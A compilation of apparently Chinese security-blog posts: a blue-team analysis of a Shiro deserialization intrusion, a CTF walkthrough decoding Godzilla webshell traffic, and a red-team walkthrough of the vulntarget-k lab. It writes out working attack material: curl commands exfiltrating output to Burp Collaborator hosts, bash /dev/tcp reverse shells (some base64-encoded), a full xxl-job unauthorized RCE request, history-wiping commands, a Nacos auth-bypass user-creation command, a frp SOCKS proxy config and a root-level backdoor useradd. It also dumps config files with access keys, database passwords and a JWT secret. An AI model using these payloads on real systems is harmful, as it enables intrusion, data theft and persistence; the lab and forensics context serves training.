蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载 当然也可以自行将以上流程逆推解密,拿到密钥,复制以上cookie中的值,看到解密文本 我们可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具 通过解码以上base64编码后,看到使用curl进行连接burpsuite的dnslog地址,然后去执行系统命令,此处burp地址方便本地查看结果,通过以上信息看到反弹的shell地址 题目答案 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径 /opt/.f/.s/.c/.a/.n 因为是反弹shell,所以在流量包处直接按照以下条件过滤即可 ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888 在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件 grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选 上图中看到,流量包中也存在明文,有些师傅可能会纳闷,为什么流量包内会携带呢,我们再去看流量包 在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤 ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1 根据标志位进行过滤相应的流量包,然后查看明文操作 至此可以明白流量传输的过程和寻找fscan存放的位置 题目答案 另类方法:提交此fscan工具的MD5值 b8053bcd04ce9d7d19c7f36830a9f26b 有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具) find / -type f -exec md5sum {} \; 这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死 继续对命令进行优化,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5 find / -type f -executable -exec md5sum {} \;>1.txt 此处我对所有可执行文件的MD5进行输出到1.txt文件,然后接着对原fscan的MD5进行对比 有些师傅会问,我这要MD5有啥用啊,我们首先要知道,每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份,如直接使用刚刚的MD5去微步查看到是fscan工具 题目答案 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址 http://zhoudinb.com:12345/qxwc.sh 当然了,我们可以继续查看流量包,明文看到攻击者的操作,排除掉流量包,我们使用主机如何去查呢 计划任务可以看到,每10分钟执行.qxwc.sh,至于为什么直接这样,这是攻击者做计划任务的一个常规手段,属于一个细节上的地方,这一块主要是考虑到计划任务的配置排查 题目答案 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径 /home/security/upload/.CCC/.happy.sh 排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名 ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7 使用以上命令可以按照最后改变时间进行排序,从下往上看可疑文件 看到有happy.service疑似非系统自带任务,查看后确认为恶意文件,接着查看相应文件,并确认绝对路径 题目答案 攻击者创建了一个隐藏用户,提交此用户的用户名 xj1zhoudi@kali cat /etc/passwd |grep bash 通过以上命令查看到只有两个用户拥有登录权限 确认shadow文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id_rsa.pub看到可疑用户名 所做的操作,在反弹shell端口中都是明文操作,通过流量包过滤,可看到明文流量(因为传输过程没有加密) 攻:渗透阶段 信息收集阶段 攻击者首先使用移动IP192.168.0.223对目标主机使用nmap进行了全端口扫描,并获取到开放的三个端口 而后攻击者使用dirsearch和其它目录攻击扫描对应的web端口目录文件 经过简单的进行了前期收集扫描,没有扫到有用的文件,但是已知开放了的WEB端口,后因为攻击者被IPS和WAF识别出,进行了封禁 而后攻击者更换IP使用漏扫攻击,专项对相应WEB端口进行漏洞扫描攻击,IP地址为192.168.0.200 经过扫描,攻击者得到9988端口存在spring boot actuator模块 经过此次漏洞扫描,攻击者获取到了相应的未授权访问漏洞,后续又被IPS和WAF进行识别并加黑IP 攻击者开始针对于业务站点12333端口,已知存在shiro框架,更换IP192.168.0.226进行爆破shiro密钥 2. 漏洞利用阶段 但是奈何此IP动作太大,后续被流量监测封禁,攻击者继续更换IP192.168.0.242且下载9988端口下的heapdump文件获取敏感信息shiro-key且得到几个弱口令 而后,攻击者使用CommonsBeanutils1链进行攻击,进行DNSlog出网探测 而后攻击者构造payload进行命令注入、反弹shell攻击 curl --connect-timeout 3 http://301m1dvwq05pbbjg28i9s152itojc8.burpcollaborator.net/2/ -d data=$((whoami)|base64 -w 0) 对以上payload进行base64编码,然后在构造一个解码的payload进行shiro反序列化攻击,从而执行命令 bash -c {echo,Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly8zMDFtMWR2d3EwNXBiYmpnMjhpOXMxNTJpdG9qYzguYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKCh3aG9hbWkpfGJhc2U2NCAtdyAwKQ==}|{base64,-d}|{bash,-i} 经过执行后,攻击流量会通过反序列化成功后进行命令执行,执行curl(burp suite)生成的dnslog地址,发送请求,连带后面的命令执行payload回传给dnslog地址,在burp中可以看到,首先走了DNS流量,然后走了HTTP流量,在POST包的data中解码看到当前使用的用户(运行若依的用户) 将以上payload进行改动,whoami命令改为反弹shell命令继续执行,192.168.0.251做为跳板机监听相应端口 curl --connect-timeout 3 http://onf7oyihdlsayw61pt5ufmsn5eb5zu.burpcollaborator.net/2/ -d data=$((bash -i >& /dev/tcp/192.168.0.251/8888 0>&1)|base64 -w 0) 经过再次编码后可以看到上线目标主机上线跳板机8888端口成功 3. 权限维持阶段 攻击者上线目标主机后需要进行权限维持或横向漏洞扫描,在/opt/.f/.s/.c/.a/n目录下放置了fscan工具并改名,进行漏洞扫描,获取到了一台永恒之蓝机器 然后在/opt/.Abc/.qxwc.sh创建权限维持脚本(此处模拟),并创建定时计划任务 接着创建开启自启动计划任务,并继续下载权限维持脚本,以防止被删除原脚本 然后在本地生成一个用户公私钥,上传公钥到目标主机,后续继续连接,称为用户权限维持(模拟-此处不在复现,直接看流量包即可) 0x03 总结 IP排查攻击思路 192.168.0.223 端口扫描+文件目录扫描 192.168.0.200 针对WEB端口漏洞扫描 192.168.0.226 爆破shiro密钥 192.168.0.242 目的明确、获取敏感信息+利用漏洞成功 192.168.0.251 跳板机、反弹shell地址 本次思路按照之前行业攻防应急响应前期应急响应经验+本人人为经验进行综合整理归纳,如有不妥之处请指出,本篇文章主要以符合现实角度去理解在单机应急响应下的思路排查,不作为所有环境思路,欢迎各位师傅指导 哥斯拉ekp版本流量分析 1、黑客上传的木马文件名是什么? 流量分析,PUT方法的请求包很显眼,检查内容确定webshell的文件名 flag{.index.jsp} 2、黑客上传的木马连接密码是什么? flag{mypass} 3、黑客上传的木马连接密钥是什么? flag{9adbe0b3033881f8} 4、黑客连接webshell后执行的第一条命令是什么? String xc = "9adbe0b3033881f8"; String pass = "mypass"; String md5 = md5(pass + xc); echo -n mypass9adbe0b3033881f8 | md5sum = c106ebc2340909ffc3e4086abe645680 md5.substring(0, 5) = c106e base64解码两次 https://cyberchef.org/ 根据哥斯拉二开的特征组装一下流程 Comment('解码请求包') URL_Decode() From_Base64('A-Za-z0-9+/=',true,false) From_Base64('A-Za-z0-9+/=',true,false) AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Gunzip() Comment('解码响应包') From_Base64('A-Za-z0-9+/=',true,false) AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Gunzip() wireshark可以导出全部http包,一个一个检查.index.jsp dnVMRU9ld0NDRzg1L3NMd0pKVjI3Sit3WEhUc2E0M21MU0JUMFAvTW96U0dyS280RHRGTmROdHFNMUdXNDhWcFl5c2dEeXo5RS9ZTVh0RG1QM1doZkYyT3Ric2p3L0JaM0VXUEpBVTJTenNpQ1FDVWtJbnZBMEVwSmdZS2JkdUIxbE9ORFZENUlMd1hSc2Jpb3lCQ2JxUXRiSlA4UVc5NTBBYzZFM1ZlYk02YU92VmtXdDZiV3dXZ1FyTVV6RHdIN2hzYkFpcUZ6T3RFR2Z6QklDc2FhZHlyeFp0WTg3NXV1bFY4UmhMTjBRcz0%3D sh -c "cd "/";cat /etc/passwd" 2>&1arg-3 flag{cat /etc/passwd} 5、这个木马是根据哪个参数进行回显的?(提交参数名) 流量分析和代码分析 flag{Rec106e_config} 6、黑客留下后门的反连的IP和PORT是什么?(flag{IP,PORT}) 流量分析 ZFg1YzlFQmZ1UjM2SVNXL3RuZTd6alk1Zjk1UTNoLzBza3hDeCs4R2h2Vkc0b3AyQVk3bXVlZzUvdGw5VlVtNlYzWTRjYUpJQjV5a3MzVlRSUXd5NmJwRGkrU1ZXOXU1SUVVU2lUVjNYT1U2VGFuVUdxWThmdjEwbTREemlBVWtnaFZDMUxqSmlXZGRvUTlMb1VUblhrYnl3WW93dnYwYTJLcXQ3Ujc0WjU5eVNMNlhSQ1dkZG9MMEh5NndEbXBiZDI0YnlHd1NDNW43VEJMcnRrQnpBUGp0VGhDN1lxejRQNUtFQmhHUmo0U0V1T3Boc2M5ZnkwWTQ5N1hyOUw5L3QzL1FBNU5KQ3pwSERycGlDMi9RQnptTDF1TDl0RldINHRUY21GbmVlNW4rRzlzYjRhOGtnalZubXlrc3BBOWk%3D 解码流量 sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash" 2>&1arg-3 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ== base64解码 /bin/bash -i >& /dev/tcp/192.168.31.205/4444 0>&1 flag{192.168.31.205,4444} 7、黑客通过后门反连执行的第一条命令是什么? 浏览分析,排查4444端口的tcp流量 flag{ls} 8、黑客新增的后门用户名密码是什么?(提交flag{username,password}) 浏览分析,排查4444端口的tcp流量 echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash useradd -p openssl passwd -1 -salt 'salt' Xj@666. x -o -u 0 -g root -G root -s /bin/bash flag{x,Xj@666.} 9、黑客新增的后门文件是什么?(提交完整路径) 可根据攻击者上传的文件的创建时间范围搜索一个范围内的文件,然后一个个排查 在刚登录的一段时间内,检查进程信息,亦可看到进程里面有 bash -c /bin/bash -i >& /dev/tcp/192.168.31.200/4444 0>&1的反连命令在运行,然后使用grep查找也可以发现后门文件的路径 grep '192.168.31.200' -iR /etc/* 排查思路是检查如TCP_Wrappers等常见权限维持的路径、文件 flag{/etc/hosts.allow} 10、黑客的后门公钥是什么?(提交公钥的md5值) 放了两条,在 /root/.bash_h1story/.keys 和 /root/.ssh/authorized_keys flag{d7bf0e27d6f533604250faceb28b6d4b} 11、黑客注入的内存马代理是那种类型的?(如flag{frp}) 流量分析结合代码分析,有一段runuseragent的调用,根据使用user-agent这一特征,通过网络搜索确定内存马代理类型为 Suo5 flag{Suo5} 12、这个代理的路径是什么?(如flag{/frp}) 流量分析结合代码分析 flag{/connect} 13、这个代理的连接密码是什么?(将得到的密码md5后作为flag提交) 流量分析结合代码分析,有一段runuseragent的调用 echo -n 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3' | md5sum flag{e3c77fd790af8d25fe271cd275eb405e} 14、黑客扫描了哪个ip的哪些端口?(端口按照文本顺序提交即可 如:flag{ip,21,22,23}) 流量分析,检查请求包,根据发送判断执行了之前请求的paylad U1BOQVh5a2FSM2s5ZS80UVFLdUFHNTZhczJjMVRwcE41eWdJdGtDaVMwYlU5YnhlaXg1NTM4c0l4VE1wZnRDUXhMbitxblQySGxsS1o5SERnK1huanYzdEpnS3RhYVVBUmtjR0Q3Yml4ajRRTkRpZWZSVmVUcUxhVWlmU0hTYWNKSzkzYjFHN1p2YkJTejhpdWtpSFFkMVlRcUZwbDdpWFpybFBCOStDRkhGRjQ2RXV0T1dPYVM4VGR3eXlRTU12TWVlV0prMTBWNjBNT0pSakNpQldOUT09 127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222 flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222} 15、黑客扫描到开放的端口有哪些?(端口从小到大排序提交 如:flag{21,22,23})' 流量分析,检查响应包 O0pxNnI7RBLmTfxrZXBrd1hPUptIuxNFvFA0fwK3H6tpwnz3L//0O5GRj/NMw8O+Ve0PQGfQQGLSAWkVLE1AB9EV0bTKEBBhx/vVcCW6STm7yr2TwRZZHhMn5g3vJvX1 127.0.0.18730 127.0.0.133060 127.0.0.180800 127.0.0.1810 127.0.0.180811 127.0.0.1220 127.0.0.1880 127.0.0.180880 127.0.0.14450 127.0.0.14430 127.0.0.114330 127.0.0.188880 127.0.0.1210 127.0.0.1800 127.0.0.12221 127.0.0.133890 flag{222,8081} 参考资料 哥斯拉流量分析 ShiroAttack2:内存马-SUO5正向代理 Godzilla插件|内存马|Suo5内存代理|jmg for Godzilla 应急响应-vulntarget-k xxl-job-admin未授权RCE/后台RCE、nacos未授权、springcloudgateway RCE、redis、内网流量代理 下载地址: 链接: https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg 提取码: 2dwq 其中vulntarget-k是本次环境 github地址: https://github.com/crow821/vulntarget 测试说明: 1. 镜像都是基于**VM16.x做的** 2. 操作人员自行修改对应IP\3. 下载靶机,开机之后,确认自己网络配置好了,可以选择本地做一个快照,原本的快照可能会因为制作靶机的处理器和当前打开靶机的处理器不一致,导致快照恢复失败,或者异常(见谅) 网络拓扑 01外网-xxl-job 1.1 外网打点 配置好网络之后,外网IP为:10.30.7.106 直接访问,连接被拒绝,80端口未开放 nmap扫描其开放端口,检查全端口的开放情况 ┌──(rooteval)-[~]└─# nmap -v -sS -Pn -p- 10.30.7.106Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 15:06 CSTInitiating ARP Ping Scan at 15:06Scanning 10.30.7.106 [1 port]Completed ARP Ping Scan at 15:06, 0.10s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 15:06Completed Parallel DNS resolution of 1 host. at 15:06, 0.04s elapsedInitiating SYN Stealth Scan at 15:06Scanning 10.30.7.106 [65535 ports]Discovered open port 8080/tcp on 10.30.7.106Discovered open port 22/tcp on 10.30.7.106Discovered open port 8081/tcp on 10.30.7.106Discovered open port 9999/tcp on 10.30.7.106Completed SYN Stealth Scan at 15:07, 13.57s elapsed (65535 total ports)Nmap scan report for 10.30.7.106Host is up (0.00084s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh8080/tcp open http-proxy8081/tcp open blackice-icecap9999/tcp open abyssMAC Address: 00:0C:29:50:FE:AC (VMware) Read data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 14.16 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) 发现就开了4个端口,22,8080,8081,9999 同时也使用fscan扫描,没有检测出漏洞和特征 ./fscan -h 10.30.7.106 -np -p 1-65535 其中22端口为ssh的连接端口,暂时不考虑爆破,先从web端口入手试试 分别访问三个web端口试试 8080端口,404没有内容,源码里面也没有信息 dirsearch扫描目录:python3 dirsearch.py -u http://10.30.7.106:8080 ,没有扫描到目录 暂时线索断了,看看其他端口(xxl-job-admin这个目录建议放到自己的扫描器字典里面) 8081端口: http://10.30.7.106:8081 报错页面,同样尝试扫描其目录,同样没有信息 9999端口: http://10.30.7.106:9999/ 500的报错页面,将其端口和报错内容放到搜索引擎中搜索 1.2 xxl-job-execute未授权rce 根据搜索的信息,发现9999端口是xxl-job的,且存在未授权RCE,可用exp如下: POST /run HTTP/1.1Host: your-ip:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 365 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0} hackbar发一个反弹shell的包试试 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "bash -c 'exec bash -i &>/dev/tcp/10.30.7.77/7777 <&1'", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0} 成功收到shell 得到root权限,做一个交互式shell,查看history记录,没有记录。 先将自己的后续执行命令给隐藏起来,执行以下命令: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 在该目录下发现有两个jar包,xxl-job-executor-sample-springboot-2.2.0.jar是未授权启动的web服务,另一个应该是8080端口的xxl-job-admin的包。 查看开机启动服务 systemctl list-unit-files --type=service|grep enabled root@vulntarget-k:/home/xxl-job/xxl-jar# systemctl list-unit-files --type=service|grep enabled<stemctl list-unit-files --type=service|grep enabledaccounts-daemon.service enabled apparmor.service enabled atd.service enabled [email protected] enabled blk-availability.service enabled cloud-config.service enabled cloud-final.service enabled cloud-init-local.service enabled cloud-init.service enabled console-setup.service enabled cron.service enabled dbus-org.freedesktop.resolve1.service enabled dbus-org.freedesktop.thermald.service enabled ebtables.service enabled [email protected] enabled irqbalance.service enabled iscsi.service enabled keyboard-setup.service enabled lvm2-monitor.service enabled lxcfs.service enabled lxd-containers.service enabled mysql.service enabled networkd-dispatcher.service enabled ondemand.service enabled open-iscsi.service enabled open-vm-tools.service enabled pollinate.service enabled rsync.service enabled rsyslog.service enabled setvtrgb.service enabled snapd.aa-prompt-listener.service enabled snapd.apparmor.service enabled snapd.autoimport.service enabled snapd.core-fixup.service enabled snapd.recovery-chooser-trigger.service enabled snapd.seeded.service enabled snapd.service enabled snapd.system-shutdown.service enabled ssh.service enabled sshd.service enabled syslog.service enabled systemd-fsck-root.service enabled-runtimesystemd-networkd-wait-online.service enabled systemd-networkd.service enabled systemd-resolved.service enabled systemd-timesyncd.service enabled thermald.service enabled ua-reboot-cmds.service enabled ufw.service enabled unattended-upgrades.service enabled ureadahead.service enabled vgauth.service enabled vmtoolsd.service enabled xxl-job-8080.service enabled xxl-job-9999.service enabled 为了方便执行命令,弄了交互式的shell $python3 -c 'import pty; pty.spawn("/bin/bash")'$export SHELL=bash$export TERM=xterm-256colorCtrl-Z$ stty raw -echo;fg$ reset(回车) 1.3 xxl-job-admin后台rce 根据9999端口xxl-job-execute获取的shell分析,可以发现还存在另一个web程序,xxl-job-admin后台的默认地址为:/xxl-job-admin 8080端口跟上路径成功访问到: http://10.30.7.106:8080/xxl-job-admin/toLogin 使用默认账密登录失败,想爆破,发现有点卡,就放弃了 尝试将jar包下载下来反编译看看 python3 -m http.server 8000 这里直接解压或者反编译都可以,反编译用的jadx 直接解压之后的目录结构 在目录下会有一个配置文件:xxl-job-admin-2.2.0\BOOT-INF\classes\application.properties 可以看到数据库的账号密码 xxl-job-admin配置的是强口令,无法直接爆破,或者在未授权RCE之后连接到数据库读取密码,或者添加密码 这里可以得到xxl-job-admin后台的密码,MD5解密失败 新增一个即可 printf("hello world!"); 新增密码为123456 进入后台之后,在任务管理出可以做计划任务,填好必填项,运行模式为shell,保存 保存之后,操作->GLUE IDE 重新编辑命令为: #!/bin/bashbash -c 'exec bash -i &>/dev/tcp/10.30.7.77/8888 <&1' 保存,回来之后点击执行一次 大概率会失败,具体的配置原因不知,执行器地址为空,调度失败 已经进入后台,所以可以为所欲为,配置一下就好,修改为本机ip。在攻防计划任务里面编辑 修改机器地址为本机的9999: http://10.30.7.106:9999/ (至于为什么是这个暂时没有研究) 修改好之后,重新去执行命令,重改监听端口为8888 重新执行即可获取到shell 1.4 内网信息收集 获取外网主机权限之后,查看ip时发现还存在内网地址,地址为:192.168.100.20 在root目录下,存放有一个flag 上fscan扫描内网信息 上传之后赋权限执行:./fscan -h 192.168.100.1/24 -np root@vulntarget-k:/root# ./fscan -h 192.168.100.1/24 -np ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1start infoscan192.168.100.20:22 open192.168.100.50:22 open192.168.100.1:135 open192.168.100.1:139 open192.168.100.1:445 open192.168.100.20:8080 open192.168.100.1:7680 open192.168.100.20:8081 open192.168.100.50:8800 open192.168.100.50:8848 open192.168.100.20:9999 open[*] alive ports len is: 11start vulscan[*] WebTitle:http://192.168.100.20:8080 code:404 len:431 title:HTTP Status 404 – Not Found[*] 192.168.100.1 WORKGROUP\MORTALS [*] WebTitle:http://192.168.100.20:8081 code:404 len:121 title:None[*] WebTitle:http://192.168.100.20:9999 code:200 len:61 title:None[+] NetInfo:[*]192.168.100.1 [->]mortals [->]10.30.2.1 [->]192.168.100.1 [->]10.30.2.83 [->]172.25.16.1 [->]192.168.88.1[*] WebTitle:http://192.168.100.50:8848 code:404 len:431 title:HTTP Status 404 – Not Found[*] WebTitle:http://192.168.100.50:8800 code:503 len:124 title:None[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos [+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass [+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 [+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file [+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2已完成 9/11 [-] ssh 192.168.100.20:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 admin admin@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.20:22 admin Aa12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 11/11 内网存在nacos和springboot,且存在漏洞。既然存在漏洞的话,那就上代理打就行。 1.5 frp代理 kaili作为攻击机开启服务端 受害机frpc客户端的配置如下: [common]server_addr = 10.30.7.77server_port = 7777 [socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5 受害机上执行 ./frpc -c frpc.ini kali上执行 ./frps -c frps.ini 成功代理流量。 02 内网nacos 2.1 nacos未授权 代理之后,访问地址: http://192.168.100.50:8848/nacos/#/login 使用默认账号密码nacos/nacos登录失败,不过根据扫描出来的信息知道这里的nacos存在未授权漏洞,可以任意添加用户。 配置好proxychains,执行以下命令添加用户: proxychains curl -XPOST 'http://192.168.100.50:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server' 成功添加用户,登录即可 存在一些配置文件 gateway spring: cloud: gateway: routes: - id: index uri: lb://product-server predicates: - Method=GET admin-api # 项目相关配置admin-api: # access_key_id 你的亚马逊S3服务器访问密钥ID accessKey: AAAZKIAWTRDCOOZNINALPHDWN # secret_key 你的亚马逊S3服务器访问密钥 secretKey: LAX2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亚马逊S3服务器创建的桶名 bucketName: kefu-test-env # bucketname 你的亚马逊S3服务器创建的桶名 regionsName: ap-east-1 # questionPicture 问题类型图片上传文件夹名称 questionPicture: questionFolder # chatPicture 聊天图片上传文件夹名称 chatPicture: chatFolder # rechargePicture 代客充值图片上传文件夹名称 rechargePicture: rechargeFolder # 获取ip地址开关 addressEnabled: true # 中后台的地址 url: http://localhost # 中后台API地址 seektopserUrl: http://localhost/api/partner/user/info/base # 中后台API请求APPID seektopAppId: A9AA30D1D30F459VS7B83C054B3EAD770D # 中后台API请求密钥 seektopSecretKey: yT2BivSJLCR4lHb8SzhNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服关闭会话配置时间 closeChannelTime: 3 # redis-task服务请求地址 redisTaskUrl: http://localhost:8586 im: server: url: https://localhost:9507 secret: ^look^ server: port: 8500 servlet: context-path: /api #配置数据源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%! main: allow-bean-definition-overriding: true jpa: hibernate: # 生产环境设置成 none,避免程序运行时自动更新数据库结构 ddl-auto: none redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000 elasticsearch: nodes: es.localhost:9200 # 多数据源配置gt: root: boot: #主动开启多数据源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%! #jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key #是否允许生成代码,生产环境设置为falsegenerator: enabled: false #是否开启 swagger-uiswagger: enabled: true # 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5 #七牛云qiniu: # 文件大小 /M max-size: 15 #邮箱验证码有效时间/分钟code: expiration: 5 #登录图形验证码有效时间/分钟loginCode: expiration: 2 # sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50 #将该工程应用名称添加到计量器注册表的 tag 中#开启 Actuator 服务management: endpoints: web: exposure: include: '*' metrics: tags: application: admin-api xxl-JOB server: port: 8080 servlet: context-path: /xxl-job-admin management: server: servlet: context-path: /actuator health: mail: enabled: false spring: mvc: servlet: load-on-startup: 0 static-path-pattern: /static/** resources: static-locations: classpath:/static/ freemarker: templateLoaderPath: classpath:/templates/ suffix: .ftl charset: UTF-8 request-context-attribute: request settings: number_format: 0.########## datasource: url: jdbc:mysql://127.0.0.1:3306/xxl-job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai username: root password: root_pwd driver-class-name: com.mysql.cj.jdbc.Driver type: com.zaxxer.hikari.HikariDataSource hikari: minimum-idle: 10 maximum-pool-size: 30 auto-commit: true idle-timeout: 30000 pool-name: HikariCP max-lifetime: 900000 connection-timeout: 10000 connection-test-query: SELECT 1 mail: host: smtp.qq.com port: 25 username: [email protected] from: [email protected] password: xxx properties: mail: smtp: auth: true starttls: enable: true required: true socketFactory: class: javax.net.ssl.SSLSocketFactory mybatis: mapper-locations: classpath:/mybatis-mapper/*Mapper.xml xxl: job: accessToken: X336qlhSuYz2Nshk i18n: zh_CN triggerpool: fast: max: 200 slow: max: 100 logretentiondays: 5 domain-service server: port: 8300 servlet: context-path: /domain mybatis: # 搜索指定包别名 typeAliasesPackage: com.domain.**.domain # 配置mapper的扫描,找到所有的mapper.xml映射文件 mapperLocations: classpath*:mapper/*Mapper.xml # 加载全局的配置文件 configLocation: classpath:mybatis/mybatis-config.xml #配置数据源spring: datasource: url: jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%! main: allow-bean-definition-overriding: true redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000 #jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: 